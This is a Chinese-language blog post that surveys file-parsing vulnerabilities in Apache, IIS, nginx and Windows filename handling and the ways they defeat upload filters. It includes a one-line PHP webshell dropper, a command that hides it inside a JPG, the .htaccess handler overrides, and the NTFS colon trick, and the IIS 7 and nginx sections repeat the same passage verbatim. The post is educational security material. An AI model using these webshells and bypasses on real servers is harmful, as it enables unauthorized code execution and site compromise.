文件解析漏洞总结

2018-12-28  本文已影响0人  Echocipher

Apache

文件名解析

与Windows不同,Apache对文件的解析名不是仅仅认识最后一个后缀名,而是从右向左,依次识别,直到遇到自己能解析的文件名为止,Apache官方解释是这样的,地址:http://httpd.apache.org/docs/current/mod/directive-dict.html

In general, this is the part of the filename which follows the last dot. However, Apache recognizes multiple filename extensions, so if a filename contains more than one dot, each dot-separated part of the filename following the first dot is an extension. For example, the filename file.html.en contains two extensions: .html and .en. For Apache directives, you may specify extensions with or without the leading dot. In addition, extensions are not case sensitive.

Apache的文件名扩展名的定义写在conf/mime.types文件中。

我们建立如下文件来验证该规则。

1.jpg.aa

可以看到图片被正常解析了。

既然可以正常解析,那么我们可以利用它绕过一些规则,比如上传文件的黑名单,并使其正常解析,但是这里我自己测试,并没有像网上的资料一样正常解析:

<?php
phpinfo();
?>

将文件命名为phpinfo.php.xxx,按照解析规则,应该是可以正常解析的,但是这里我访问的时候php没有正常执行还是,而是把源码输出了:

这里看到一篇文章:http://www.cnblogs.com/milantgh/p/5116955.html

使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞,使用fastcgi模式与php结合的所有版本apache不存在此漏洞。并且,想利用此漏洞必须保证文件扩展名中 至少带有一个“.php”,否则将默认被作为txt/html文档处理。

那么module模式和fastcig模式又是什么呢?

https://www.imooc.com/article/37534

PHP结合Apache的方式有三种:

  1. 作为模块:PHP作为Apache的模块,当有php页面的请求时,Apache加载php模块,加载资源并执行php程序,将执行结果返还给客户端。
  2. CGI方式(注:CGI是一个协议,可以实现web服务程序和解释器通信):PHP作为一个独立的功能程序,当有php页面的请求时,Apache通过CGI方式启动一个PHP进程,PHP进程获取资源并执行后,将执行结果返回给Apache,Apache返回给客户端,之后Apache销毁该进程。
  3. FastCGI(注:FastCGI是CGI协议的一个扩展,可以实现将PHP作为一个独立进程,由PHP自身实现进程的创建和销毁):PHP作为一个独立程序,根据配置文件事前启动N个作业进程用来等待处理用户请求(类似于Apache的Prefork模型,规定默认启动进程数、最大启动进程数、最小启动进程数等等),当有php页面的请求时,Apache通过代理方式使用FastCGI协议将请求发送给PHP进程,并指定php网页文件所在位置(URL),PHP进程接收后为其分配一个作业进程并执行脚本。FastCGI好处在于可以使PHP服务作为一个独立服务器,通过Socket与httpd通信,可以使服务分离,可扩展性更强,并且无需像CGI一样需要Apache来控制PHP的启动,提高了Apache的工作效率。

很有意思的是,在这篇文章中:https://blog.csdn.net/wn314/article/details/77074477,作者也提出了自己的看法:

按照多后缀名的解析规则,认为该文件是php程序文件,把该文件作为php程序文件处理。怎么处理呢?交给php解释器,Apache本身并不懂php。而php解释器却有着和Apache不同的后缀解析规则,可能只认最后一个后缀,故而认为aaa.php.xxx不是php程序文件,拒绝执行。在我的测试环境中,php以模块(module)的模式工作于Apache的领导下。这种模式下php接受到领导Apache分配的任务——aaa.php.xxx,一看,不是php程序文件,没法执行,但也没有报错,而是返回了文件内容本身。php还可以以FASTCGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。

那么php是怎么识别文件的呢?作者找到了如下配置文件:

我在Apache的模块的配置文件中找到了php5.conf,内容如下:


这里我们看到,php采用正则的方式匹配,如果将正则表达式改成:

".+\.ph(p[345]?|t|tml)\."

程序即可执行。

所以利用条件为:

  1. 使用module模式,且正则符合条件
  2. 文件扩展名中至少带有一个.php

换行解析漏洞 (CVE-2017-15715)

其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

这里的知识点是正则中$可以匹配行尾或者换行符。

是Phith0n师傅在知识星球提到的:

这里用vulhub搭建环境:

启动后Apache运行在http://your-ip:8080,该环境上传逻辑如下:

<?php
if(isset($_FILES['file'])) {
    $name = basename($_POST['name']);
    $ext = pathinfo($name,PATHINFO_EXTENSION);
    if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
        exit('bad file');
    }
    move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
}

上传一个名为1.php的文件,被拦截:

在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

访问成功解析:

不常见后缀名

上文说了通过正则表达式匹配,因此php识别的后缀名如下:

php、php3、php4、php5、phpt、phtml

利用该条件即可绕过黑名单检查。

分布式配置文件

一般配置文件的作用范围是全局,但是Apache提供了一种可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)

文件生效的条件如下:

  1. Apache的配置文件中,要写上: AllowOverride All
  2. Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

需要注意Apache可能有多个配置文件,后加载的配置文件会覆盖先加载的配置文件中的配置。所以在某个配置文件中将AllowOverride设置成All,若是其后加载的某个配置文件中AllowOverride的设置是None,则也是没有用的。一般来说,先加载httpd.conf,再加载conf.d/中的配置文件,最后加载sites-enabled/中的配置文件。.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。

我们这里关注.htaccess文件可以修改MIME类型,这使得该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件。

 AddType application/x-httpd-php xxx

或者:

  <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
  </FilesMatch>

该语句会让Apache把shell.jpg文件解析为php文件

下面是一次测试,测试前已经打开Apache对.htaccess文件的支持。在网站根目录中准备如下文件树:

IIS

IIS <= 6.0

原因是web应用程序和IIS对同一文件的文件名称(类型)理解不一致造成的

  1. 畸形目录解析
    /xxxx.asp/xxx.jpg
    即.asp结尾的目录下面,而被IIS当成可执行文件来解析

  2. 分号文件解析
    test.asp;.jpg

虽然以.jpg结尾,但IIS 解析时忽略了分号";"后面的部分,当成了test.asp文件来解析,默认的可执行文件后缀还有三个".asa"、".cer"、".cdx",可以绕过黑名单。

IIS 7.0&7.5畸形解析漏洞

默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件

将shell语句,如

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后

copy xx.jpg/b + xx.txt/a test.jpg

上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

nginx

畸形解析漏洞

默认fast-cgi开启状况下,在一个文件路径后面加上/xx.php会将原来的文件解析为php文件

将shell语句,如

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

写在文本xx.txt中(或者shell语句直接写一句话,用菜刀、cknife等直连,只是容易被查杀),然后用命令将shell语句附加在正常图片xx.jpg后

copy xx.jpg/b + xx.txt/a test.jpg

上传test.jpg,然后访问test.jpg/.php或test.jpg/abc.php当前目录下就会生成一句话木马 shell.php

空字节代码执行漏洞

在fast-cgi关闭的情况下,nginx版本:0.5., 0.6., 0.7- 0.7.65, 0.8 -0.8.37,nginx在图片后附加php代码然后通过访问

xx.jpg%00.php

来执行其中的代码

文件名逻辑漏洞(CVE-2013-4547)

受影响的nginx版本: 0.8.41至1.4.3和1.5.7之前的1.5.x

正常上传一个附加代码的图片"test.jpg",访问时后面+"空格"+"\0"+".php",即让图片作为php文件解析

"/test.jpg \0.php"

配置不当目录穿越

如果绝对路径"/home/"的URL映射是网站目录"/files/",配置写成了"/files"

location /files {
    alias /home/;
}

就可以访问"/files../",穿越路径,访问到绝对路径根目录"/"下的文件列表

Windows相关的文件名特性

大小写不敏感

也就是不区分大小写,所以已经在一个目录下创建了一个名为"test.txt"文件时,再尝试创建一个名为"Test.txt"的文件就会报错

文件名中不能出现的字符

Windows下的文件和文件夹名字中,不会出现以下9个英文字符:\ / : * ? " < > |

0x00—0x1F 范围间的ascii字符不能出现在文件和文件夹名字中
0x81—0xFE 范围间的ascii字符不能出现在文件名字中,否则可能会报错;但如果字符结合下一个字符生成一个多字节字符,就能正常创建一个文件了,如test. + chr(0x81) + jsp,会生成"test.乯sp"文件,但test. + chr(0x81) + 3sp,就会报错。

这和固定多字节字符编码前后"吃"字符,利用编码绕过防御(如宽字节注入)一类问题有异曲同工之妙。

会被去除的文件名最后一位字符

被循环去除的'.'号和空格字符

也就是说如果你创建下面的文件,其实都是指的同一个文件

 "test.asp"
"Test.asp"
"TEST.ASP"
"test.asp."
"test.asp "
"TEST.asp ..."
"test.asp:1.jpg.."
"Test.asp ..   ... "
"test.asp .. .�"    (乱码字符是ascii值为 0xC8 的不可打印字符)

利用此特性和上面提到的":"号截断,可以建立一些不那么好删除的文件,如调用系统函数建立"test.:jpg"文件,因为":"截断,实质上会生成"test."文件,又因为Windows系统会吃掉".",所以,右击删除,识别不了该文件。如下图,尝试删除掉 "/test/test."文件异常

可通过保存下面命令到批处理文件,将正常删不掉的文件拖到批处理上删除

DEL /F /A /Q \\?\%1RD /S /Q \\?\%1

0x7F—0xFE 范围间字符

0x7F—0xFE 范围间的字符如果要是出现在文件名的(不包括文件夹名)最后一位,会被去除。

即创建名为test.asp + chr(0x7F)的文件时,实际上会创建一个"test.asp"文件,最后一个ascii码为0x7F的字符会被去除。

要注意的是:

  1. '.'和空格都是会被系统循环检测的,所以即使文件名后面出现多个空格,都会被循环去除
  2. 0x7F—0xFE间的ascii字符,只会被系统检测一次,所以只能出现一次且必须在文件名最后一位才会被去除,否则会报错
  3. 通过比较,可以发现0x7F和0x80这两个字符比较特殊:当出现在文件名最后一位时会被去除,可以正常创建文件;但是出现在其它位置时,就会报错

关于文件名的最大长度

因为搜索发现解释并不唯一 :),所以Fuzzing下Windows系统文件名+文件扩展名的最大长度。

在Windows 10 64位上的测试,用"F"做字符,发现文件名+文件扩展名的总长度是255;
然后把"F"换成u"夜",发现文件名中的"夜"字个数,加上固定的扩展名 位数,正好也是255;
再在Windows 7 普通家庭版32位 上测试,发现结果是228

结果很奇怪,暂时保留疑问

短文件名的Web访问

测试还有个有趣的发现:

  1. 只要文件名中带有空格字符,如"1 .txt",即使文件名很短,也是会存在对应的短文件名的
  2. 这种特殊的短文件名在操作系统层面和其它短文名性质相同,但在正常的短文件名可以通过Web方式访问到的情况下,这种短文件名通过Web方式是访问不到的

NTFS流冒号截断

利用冒号":"截断文件名,可以生成空文件。

如上传"test.asp:1.jpg"文件,会生成一个名为"test.asp"的空文件,原理是利用Windows的NTFS可替代数据流的特性。另外,

":"截断操作是优先级高于会报错的字符(0x00除外)的,会先截断,只要报错字符在":"后面,系统是不会报错的。
如果":"是文件名的最后一个字符,则不会截断,会报错
一个文件名中如果包含1个以上的":"号,也是会报错

PHP 和 Windows系统的共同作用特性

以下几个符号在php和Windows环境的共同作用下,有等价的效果:

双引号">" 点号"."
大于符号">" 问号"?"
小于符号"<" 星号"*"

所以先上传一个名为 test.php:.jpg 的文件,实际会在Windows系统上产生一个test.php的空文件;

然后再次上传一个名为 test.<<< 文件,就可以追加shell内容到test.php文件中。

摘自:https://landgrey.me/filetype-parsing-attack/

上一篇下一篇

猜你喜欢

热点阅读